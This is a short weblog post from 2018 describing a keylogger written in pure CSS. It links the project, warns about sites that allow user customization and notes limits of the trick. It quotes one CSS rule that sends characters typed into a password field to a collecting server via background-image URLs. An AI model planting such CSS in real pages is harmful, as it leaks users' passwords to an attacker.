Flutterby™! : CSS keylogger?

Next unread comment / Catchup all unread comments User Account Info | Logout | XML/Pilot/etc versions | Long version (with comments) | Weblog archives | Site Map | | Browse Topics

CSS keylogger?

2018-02-21 01:56:13.053632+01 by Dan Lyke 0 comments

A keylogger written in pure CSS. https://github.com/maxchehab/CSS-Keylogging

For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Beware sites that allow end-user customization... Although the Twitter thread at https://twitter.com/captbaritone/status/966051583132758016 suggests there this may only work for static values, not vanilla inputs, but does work on React inputs.

comments in ascending chronological order (reverse):